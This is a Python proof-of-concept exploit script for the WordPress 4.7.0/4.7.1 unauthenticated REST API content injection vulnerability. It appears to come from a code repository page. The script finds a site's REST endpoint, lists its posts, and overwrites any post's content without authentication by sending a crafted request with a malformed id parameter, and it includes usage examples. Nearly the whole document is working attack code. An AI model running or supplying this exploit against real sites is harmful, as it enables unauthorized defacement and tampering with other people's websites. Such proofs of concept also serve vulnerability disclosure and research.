d1a0e8f9fd
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106 lines
No EOL
3.1 KiB
Python
Executable file
106 lines
No EOL
3.1 KiB
Python
Executable file
# 2017 - @leonjza
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#
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# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
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# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
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# Usage example:
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#
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# List available posts:
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#
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# $ python inject.py http://localhost:8070/
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# * Discovering API Endpoint
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# * API lives at: http://localhost:8070/wp-json/
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# * Getting available posts
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# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
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#
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# Update post with content from a file:
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#
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# $ cat content
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# foo
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#
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# $ python inject.py http://localhost:8070/ 1 content
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# * Discovering API Endpoint
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# * API lives at: http://localhost:8070/wp-json/
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# * Updating post 1
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# * Post updated. Check it out at http://localhost:8070/archives/1
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# * Update complete!
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import json
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import sys
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import urllib2
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from lxml import etree
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def get_api_url(wordpress_url):
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response = urllib2.urlopen(wordpress_url)
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data = etree.HTML(response.read())
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u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
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# check if we have permalinks
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if 'rest_route' in u:
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print(' ! Warning, looks like permalinks are not enabled. This might not work!')
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return u
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def get_posts(api_base):
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respone = urllib2.urlopen(api_base + 'wp/v2/posts')
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posts = json.loads(respone.read())
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for post in posts:
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print(' - Post ID: {0}, Title: {1}, Url: {2}'
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.format(post['id'], post['title']['rendered'], post['link']))
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def update_post(api_base, post_id, post_content):
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# more than just the content field can be updated. see the api docs here:
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# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
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data = json.dumps({
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'content': post_content
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})
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url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
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req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
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response = urllib2.urlopen(req).read()
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print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
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def print_usage():
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print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
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if __name__ == '__main__':
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# ensure we have at least a url
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if len(sys.argv) < 2:
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print_usage()
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sys.exit(1)
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# if we have a post id, we need content too
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if 2 < len(sys.argv) < 4:
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print('Please provide a file with post content with a post id')
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print_usage()
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sys.exit(1)
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print('* Discovering API Endpoint')
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api_url = get_api_url(sys.argv[1])
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print('* API lives at: {0}'.format(api_url))
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# if we only have a url, show the posts we have have
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if len(sys.argv) < 3:
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print('* Getting available posts')
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get_posts(api_url)
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sys.exit(0)
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# if we get here, we have what we need to update a post!
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print('* Updating post {0}'.format(sys.argv[2]))
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with open(sys.argv[3], 'r') as content:
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new_content = content.readlines()
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update_post(api_url, sys.argv[2], ''.join(new_content))
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print('* Update complete!') |